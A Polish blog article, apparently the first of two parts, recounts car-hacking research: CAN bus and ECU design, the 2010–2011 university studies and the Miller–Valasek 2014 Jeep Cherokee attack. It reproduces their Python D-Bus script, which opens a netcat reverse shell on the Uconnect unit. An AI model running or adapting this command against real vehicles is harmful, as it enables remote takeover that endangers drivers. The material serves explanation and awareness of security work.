Przed przystąpieniem do tego artykułu zachęcam Cię do zapoznania się z poprzednim, gdzie piszemy o głośniej wpadce Tesli oraz metodach oszukiwania autopilotów w samochodach.

Ostatnio wszystkimi wstrząsnęła głośna wiadomość – stała się rzecz straszna, „Tesla” jedzie w złym kierunku! I jak tu zaufać „inteligentnym” pojazdom? Aby w pełni zrozumieć zagrożenie dla obiecującej technologii, zapoznamy się najpierw ze strukturą systemu, historią zagadnienia, głównymi lukami i słabymi punktami, a także z wektorami ataków. Oprócz tego przeanalizujemy konkretne przypadki.

”Tesla” zbacza z kursu i trafia na pustkowie. Oczywiście, nie z własnej woli…

Struktura – magistrala CAN, ECU i inne

Zacznijmy od projektu. Komputery pokładowe we współczesnych samochodach nie są samodzielnymi urządzeniami, lecz stanowią zbiór elektronicznych układów sterowania (Electronic control unit, ECU), które połączono w jeden układ. Od końcówki lat osiemdziesiątych począwszy aż po dzień dzisiejszy, bazą do stworzenia takiego układu niezmiennie jest tzw. magistrala CAN, która wykorzystuje skrętkę w celu przekazywania do układów ECU komunikatów zapisanych w tym samym formacie.

To wszystko jest, oczywiście, znacznie bardziej złożone, gdyż można korzystać z więcej niż tylko jednej magistrali, co jest w szczególności wykorzystywane w urządzeniach kluczowych, wymagających zwiększonej wydajności w połączeniu z mechanizmami podrzędnymi. W takich przypadkach między magistralami tworzony jest swojego rodzaju most. Koncern motoryzacyjny Volkswagen w swojej platformie MEB kompletnie zrezygnował z układu bazującego na podstawie CAN. Zamiast tego wdrożony został Ethernet oraz pojedynczy system operacyjny, bazujący na Android.


Więcej informacji na temat formatu wymiany danych oraz konstrukcji magistrali CAN można znaleźć na Wikipedii. A jeśli jesteś zainteresowany naprawdę szczegółowym przestudiowaniem tego zagadnienia, to jest ogólnie dostępna świetna pozycja, autorstwa wybitnego specjalisty w tej dziedzinie.


Na tę chwilę istotnym dla nas jest fakt, że niezależnie od tego, jak „inteligentny” by nie był współczesny samochód, to jego fundamentem jest dokładnie ta sama magistrala. Wiąże się to z tym, że w zasadzie nieusuwalna luka w zabezpieczeniach – możliwość uzyskania dostępu do CAN (na przykład poprzez podłączenie do złącza diagnostycznego lub umieszczenie sniffera w magistrali), jest wciąż aktualna. Dzięki temu otrzymujemy dostęp do wszystkich przekazywanych informacji. Łatwo się domyśleć jakie konsekwencje może to mieć.

W związku z tym, jeśli jesteśmy w stanie przekazać któremukolwiek z układów ECU nasz sygnał, jest on w stanie posłusznie wykonać naszą komendę. Jeśli będzie to układ sterowania klimatyzacją, konsekwencje nie będą aż tak straszne. A co w przykładu układów sterowania hamulcami lub silnikiem? Zgodnie z zasadą ”Budować, nie burzyć” (lub Garbage in, garbage out), wystarczy JEDNA JEDYNA błędna komenda, która została zlecona w momencie intensywnego wyprzedzania z użyciem przeciwległego pasa, aby doprowadzić do tragicznych w skutkach konsekwencji oraz krzykliwych nagłówków w prasie.

W gruncie rzeczy nie jest aż tak źle. Producenci nie są głupi i bez problemu są w stanie opracować i zainstalować odpowiednie zabezpieczenia do każdego układu ECU z osobna. Dzięki nim układ jest w stanie odrzucić komendę, jeśli nie będzie w niej prawidłowej sumy kontrolnej lub nie będzie ona spełniała jakichś dodatkowych warunków. Bardzo często można udawać asystenta parkowania, jednak tylko w sytuacji, gdy auto jedzie na biegu wstecznym, nie szybciej niż 5 km/h — w innych warunkach sygnały te zostaną zignorowane.

Poza tym informacje w magistrali CAN to komendy tak niskiego poziomu, że można je porównać z kodem maszynowym. Aby w pełni zrozumieć, co oznacza sekwencja bitów, należy wnikliwie przestudiować instrukcje techniczne producenta lub przeprowadzać eksperymenty na własną rękę, z użyciem prawdziwego auta, ewentualnie (w ostateczności) na oddzielnych układach ECU.

Uczeni ruszają do boju

Dochodzi do bardzo interesującej sytuacji. Otóż, teoretycznie rzecz ujmując, włamanie się do samochodu jest bardzo proste, ale w praktyce konieczne będą bardzo skrupulatne przygotowania. I jakimś sposobem okazało się, że przez długi czas zajmowali się tym głównie ludzie znajdujący się w cieniu i mający czysto materialne cele – nie było nim uzyskanie kontroli nad elektroniką samochodu, ale przejęcie we własne ręce samego auta.

Dopiero w 2010 roku zaczęto prowadzić na ten temat poważne rozmowy. Na sympozjum Instytutu Inżynierów Elektryków i Elektroników (IEEE) dotyczącym bezpieczeństwa został przedstawiony raport przez inżynierów komputerowych z uniwersytetów w San Diego i Waszyngtonie.

Opisali w nim całe mnóstwo przypadków niezwykle interesujących cech samochodów jako systemów komputerowych. Zasadniczo cechy te wynikały z faktu, że branża przywiązuje dużą wagę do bezpieczeństwa podczas regularnego użytkowania oraz sytuacji niebezpiecznych, ale niewiele w zakresie ochrony przed atakiem ukierunkowanym na systemy sterujące samochodem.

Dla przykładu, aby zapobiec zablokowaniu drzwi samochodu podczas wypadku, sieć o obniżonym priorytecie, do której podłączono układ sterowania zamka centralnego, posiada połączenie „mostowe” z siecią o podwyższonym priorytecie, do której podłączono czytniki stanu całego auta oraz układy różnych systemów, będących „asystentami” kierowcy.

Zaawansowane systemy telematyczne zgromadziły odczyty wielu czujników i przesłały je do centrów serwisowych za pośrednictwem komunikacji komórkowej po to, aby mogło wystarczająco wcześnie poinformować kierowcę, że zbliża się pora na wizytę w warsztacie bądź samodzielnie dzwonił do służb ratowniczych w razie wypadku. Co więcej, w tym samym systemie mógł zostać zainstalowany system antykradzieżowy, umożliwiający zdalne zablokowanie silnika.


Na koniec jeszcze kilka słów o strukturze. Prawie we wszystkich współczesnych samochodach zamontowano interfejs diagnostyczny OBD-II oraz specjalny tryb diagnostyczny – przeznaczony dla mechaników. Aby w każdym warsztacie oraz w dowolnym innym miejscu specjalista miał możliwość „odwirusowania” samochodu, dostęp do tego trybu zapewnia w rzeczywistości… dostęp do interfejsu. Dokładnie tak. W praktyce był to login root i hasło password. Liczne przykłady, o których mowa w tym rozdziale, bazują na wykorzystaniu tej właśnie metody.


Co dokładnie zrobił zespół badaczy? Przede wszystkim napisali program CARSHARK — elastyczne narzędzie do analizy i wprowadzania komunikatów do magistrali CAN. w dalszym etapie pojawiają się kolejne możliwości. Nie zagłębiając się nazbyt w aspekty techniczne stwierdzimy jedynie, że te układy ECU, w których wbudowano moduł uwierzytelniania, chronione były jedynie przez klucz 16-bitowy. Taką ochronę można złamać w ciągu zaledwie kilku dni. Po tym można np. „włamać się” do ECU i robić wszystko, na co ma się ochotę.

Znaczącą szkodę można wyrządzić już poprzez zorganizowanie klasycznego DoS ataku na system, w wyniku którego zostaje on przeciążony pozbawionymi znaczenia komunikatami i przestaje działać. Oczywiście można się również pobawić w bohaterów filmów o profesjonalnych hakerach. Dla przykładu, aby w prosty i przekonujący zademonstrować swoje siły, naukowcy napisali „demowirus samozniszczenia” – po jego uruchomieniu samochód wyświetlał na prędkościomierzu odliczanie od sześćdziesięciu, rytmicznie mrugał kierunkowskazami w rytm odliczanego czasu, a następnie zgasił silnik „na amen” i zablokował zamki, pozostawiając jedynie na prędkościomierzu napis PWNED.

Jeszcze sprytniejszym podejściem, zaprezentowanym przez badaczy, było załadowanie szkodliwego kodu do pamięci operacyjnej systemu telematycznego (wewnątrz którego znajdował się pełny system operacyjny, oparty na UNIX). Zostało to zrobione w taki sposób, aby kod był sterowany przez dźwignię (np. rozpędzał pojazd do określonej prędkości), następnie przeciążał i zawieszał system, jednocześnie „uciekając” z niego. Zbrodnia doskonała!

Ale naukowcy nie poprzestali oczywiście na tym. W następnym, 2011 roku, przedstawili nowy raport (PDF), w którym rozpatrywali już nie tylko, co osoba atakująca może zrobić z systemem po uzyskaniu dostępu do niego, ale także szczegółowo opisali sposoby umożliwiające uzyskanie tego dostępu.

Powód do refleksji

W roku 2011 naukowcy jako realny kierunek ataku określili komputery, które wykorzystywane są w warsztatach i do których podłączane są auta. Bardzo często mają one dostęp do Internetu oraz korzystają z systemu Windows. Teoretycznie, w niedalekiej przyszłości może być również zagrożony „inteligentny” sprzęt ładujący auta elektryczne na dedykowanych dla nich stacjach, gdyż nie będzie on przesyłał wyłącznie prądu, ale także informacje.

W odróżnieniu do ich poprzedniego, bardzo szczegółowo napisanego raportu, ten bardziej przypomina ekscytującą historię o sukcesach i niepowodzeniach w dziedzinie inżynierii. Dowiemy się, ile jest wart zwykły utwór muzyczny w formacie WMA, który na komputerze jest odtwarzany jako normalna muzyka, ale na odtwarzaczu samochodowym wysyła złośliwe pakiety do magistrali CAN czy też dyskusje na temat tego, w jaki sposób można podłączyć się do auta przez Bluetooth lub przez system telematyczny, podłączony do sieci komórkowej.

Innymi słowy, w tym raporcie badacze częściej wskazywali potencjalne zagrożenia, które przypominają scenariusze filmów o hakerach zastrzegając, że naprawdę zrobili to wszystko w laboratorium w celach badawczych, a nie ograniczyli się do sugestii, że takie rzeczy mogą się zdarzyć.

Chris Valasek i Charlie Miller – legendarny duet

No cóż, po tym, jak dokonał tego zespół badawczy złożony z pracowników dwóch dużych uniwersytetów, osiągnięcia te było w stanie powtórzyć dwóch dżentelmenów w swoim garażu. Poznajmy się z Chrisem ValaskiemCharliem Millerem.

Tak w rzeczywistości wyglądają legendarni hakerzy.

Zaczęli od skrupulatnego, ponownego przeprowadzenia badań swoich poprzedników i napisania znacznie bardziej szczegółowego i kompletnego raportu. Wnioski w nim opisane zostały już kilkakrotnie wspomniane w tym artykule – aby dokonać udanego włamania do samochodu, potrzeba bardzo żmudnych, skrupulatnych przygotowań, podczas których można trafić na pewne pułapki, jak np. jeśli sprawdzanie układów ECU jest przeprowadzane osobno od samochodu, przy użyciu specjalnego stanowiska testowego, wtedy mogą (i będą!) zachowywać się zupełnie inaczej niż w standardowych warunkach pracy. Jednak, jeśli cała ta praca Cię nie przeraża, to po uzyskaniu dostępu do samochodu będzie jasne, jak wiele można będzie zrobić.

Następnym krokiem było zbadanie kilkudziesięciu konkretnych modeli samochodów, ze zwróceniem szczególnej uwagi na szczegóły struktury ich sieci – a zwłaszcza na możliwe czynniki zdalnego ataku. Dokładnie na tym etapie wyodrębnione zostały tak zwane komponenty cyber-fizyczne — wszelkiego rodzaju asystenci kierowcy, jak np. tempomat lub system LKA (Lane Keep Assist – asystent utrzymania pojazdu w pasie). Urządzenia te jednocześnie są najatrakcyjniejszymi celami końcowymi dla hakerów, a także ważnymi kamieniami milowymi na drodze do stworzenia prawdziwie samodzielnego samochodu.

Valasek i Miller zauważyli, że z jednej strony producenci samochodów wykorzystują różne komponenty w strukturze sieciowej, ale z drugiej, w licznych systemach rozrywkowych wykorzystywane są znane na szeroko skalę rozwiązania, charakterystyczne na zwykłej elektronice użytkowej począwszy, na przeglądarkach internetowych skończywszy.

Smutna historia Jeep’a i systemu audio

Jednak głównym rezultatem ich prac było wyznaczenie kierunku, w którym należy wykonać następny krok. Znaleźli potencjalnie interesującą lukę w Jeep Cherokee 2014 – postanowili potraktować ją bardzo poważnie.

Ich wysiłki zostają wynagrodzone. Deskę rozdzielczą jeepa zintegrowano z systemem rozrywki Harman Uconnect – komputerem z 32-bitowym procesorem architektury ARM i systemem operacyjnym QNX (podobny do uniksowego komercyjnego mikrojądra OS, często używanego w tego typu zintegrowanych systemach). W skład tego systemu wchodziło audio, stacje radiowe, nawigator, aplikacje. Oprócz tego był wyposażony w modem 3G oraz Wi-Fi.


Ważny szczegół – Jeep nie był wyposażony w standardowy modem 3G, а specjalnie skonfigurowany model dla amerykańskiego dostawcy Sprint — Tier-1 – operatora, który świadczy szeroki zakres usług, w tym również w dziedzinie telefonii komórkowej.


Skanowanie otwartych portów tego punktu dostępu wykazało, że zawierały one port 6667. Port ten był używany przez system komunikacji międzyprocesowej D-Bus. Do uzyskania dostępu na tym porcie nie było potrzebne żadne hasło.

Następnym krokiem może być po prostu uruchomienie krótkiego skryptu w języku Python w celu uzyskania dostępu „root”.

import dbus
bus_obj=dbus.bus.BusConnection("tcp:host=192.168.5.1,port=6667")
proxy_object=bus_obj.get_object('com.harman.service.NavTrailService','/com/harman/service/NavTrailService')
playerengine_iface=dbus.Interface(proxy_object,dbus_interface='com.harman.ServiceIpc')
print playerengine_iface.Invoke('execute','{"cmd":"netcat -l -p 6666 | /bin/sh | netcat 192.168.5.109 6666"}')

Finalnie, powołując się na słowa hakerów „dalej możliwe będzie uruchomienie dowolnego kodu”.

Dar od losu – niechlujny dostawca z dziurawą siecią

Zadziwiające odkrycia na tym się nie kończą. Port 6667 był dostępny dla dowolnego interfejsu sieciowego, w tym modem 3G. Hakerzy kupili na eBay kilka „femtokomórek” — miniaturowych punktów dostępu do sieci Sprint Airave 2.0 wiedząc o tym, że w tych urządzeniach zainstalowany jest exploit umożliwiający podłączenie się do nich za pośrednictwem Telnet. I zgadza się – gdy samochód znalazł się w zasięgu tego punktu, hakerzy byli w stanie połączyć się z nim. Ale to nie było wszystko! Okazało się, że dwa dowolne urządzenia podłączone do sieci Sprint mogą komunikować się ze sobą w Stanach Zjednoczonych.

Do tego momentu hakerzy stworzyli już listę adresów IP przydzielonych do każdego samochodu w obrębie tej sieci. Wystarczyło przeskanować ten zakres, aby dowolny adres w sieci z otwartym portem 6667 był dostępem do interfejsu D-Bus jakiegoś samochodu w USA. Niekoniecznie „Cherokee”.

Badacze odkryli kilka modeli z portem otwartym do dostępu bez uwierzytelniania. W tym momencie pracy kilkukrotnie powtarzają, że nie zainstalowali niczego w żadnym z powyższych znalezionych samochodów – po prostu odkryli lukę w zabezpieczeniu.

Nie byli w stanie ustalić dokładnie, ile aut mogą zhakować. Stwierdzili, że gdyby mieli taką potrzebę, mogłoby to być nawet kilkaset tysięcy. Jednak, kiedy ich badanie zostało opublikowane (PDF), koncern Chrysler ze względów bezpieczeństwa odwołał półtora miliona samochodów


W tym momencie autorzy jeszcze raz zaznaczają – tak, oznacza to, że można napisać wirusa „pluskwę”, który zainfekuje maszyny. W związku z tym proszą swoich czytelników, aby tego nie robili, ponieważ jest to złe działanie o negatywnych skutkach, a do tego niezgodne z prawem.


Filozofia stosowana, czyli bezpieczne produkowanie i bezpieczne zastosowanie

Chris Valasek i Charlie Miller długo i konsekwentnie kontynuowali prace, aż wreszcie osiągnęli swój cel – ich włamanie się do „Cherokee” rzeczywiście był czymś sensacyjnym. Po tym wydarzeniu producenci samochodów wreszcie zaczęli się słuchać ekspertów ds. bezpieczeństwa.

Tryumfalne wystąpienie na konferencji – prelegenci po prawej, a ich „ofiara” po lewej

Hakerom udało się przekonać przedstawicieli branży do tego, że te same zasady bezpieczeństwa są ważne zarówno dla samochodów skomputeryzowanych, jak i dla reszty elektroniki – projektowanie z naciskiem na najlepsze praktyki w zakresie ochrony informacji, ścisła współpraca z najlepszymi hakerami i, co najważniejsze, zrozumienie, że „dziur” nie należy maskować, ale szybko naprawiać przy użyciu odpowiednich łatek. Najlepsze byłyby te, które są centralnie dystrybuowane i wymagają od użytkownika minimalnego wysiłku.

Na przykład jakiś leniwy i niedoświadczony kierowca jeepa może przegapić ostrzeżenie o problemie, nie dotrzeć do warsztatu i narazić swój samochód na niebezpieczeństwo. A dla odmiany, kierowca „Tesli” otrzymuje aktualizacje zabezpieczeń na swoim komputerze pokładowym w taki sam sposób, jak na smartfonie lub komputerze.

Ponadto duet hakerów zauważył również niebezpieczny trend – im więcej „elementów cyberfizycznych” w nowoczesnym samochodzie, tym stają się one „inteligentniejsze” i tym większa kontrola nad zachowaniem samochodu mogła zostać przekazana do oddzielnego układu ECU. Układ taki okazuje się być jednocześnie wysokopriorytetowym oraz krytycznym celem. Po przeniknięciu do sieci pokładowej pojazdu nie ma już czasu na analizowanie, jak działają różne układy ECU. Należy skupić się na tym, który z nich najbardziej przypomina „autopilota” i, w ten czy inny sposób, oszukać dokładnie ten układ.

Jeśli auto staje się coraz bardziej inteligentne i od dawna jest w stanie samodzielnie parkować, utrzymywać prędkość i poruszać się w obrębie jednego pasa na trasie szybkiego ruchu, przygotowywać się do hamowania, kiedy auto przed nim zaczyna skracać dystans, to w tym samym momencie staje się pojazdem samosterującym? I jak bardzo można mu zaufać?

To już nie jest pytanie natury technicznej, ale również filozoficznej. Praktyka pokazuje, że współcześni producenci samochodów chwalą jednocześnie nowe funkcje swoich produktów, ale z drugiej strony zdecydowanie zalecają, aby kierowcy nie odrywali rąk od kierownicy i nie odrywali wzroku od drogi po to, aby zachować możliwość osobistej interwencji w nieprzewidzianej sytuacji. Niestety, ale w ten sam sposób praktyka pokazuje, że kierowcy często ignorują tę istotną radę.


Z racji tego, że ten artykuł jest dość długi, postanowiliśmy rozdzielić go na 2 części. W drugiej części opowiadamy o czynniku ludzkim, obecnych oraz możliwych wektorach ataków na samochody „bezzałogowe” oraz o przeprowadzonych w ciągu ostatnich kilku lat badaniach na temat bezpieczeństwa oraz niezawodności komputerów pokładowych. Śledź nas na profilach społecznościowych, żeby być na bieżąco!

Jeśli podobało ci się, to polub nasz profil na LinkedIn oraz Facebook.

Zamknij Menu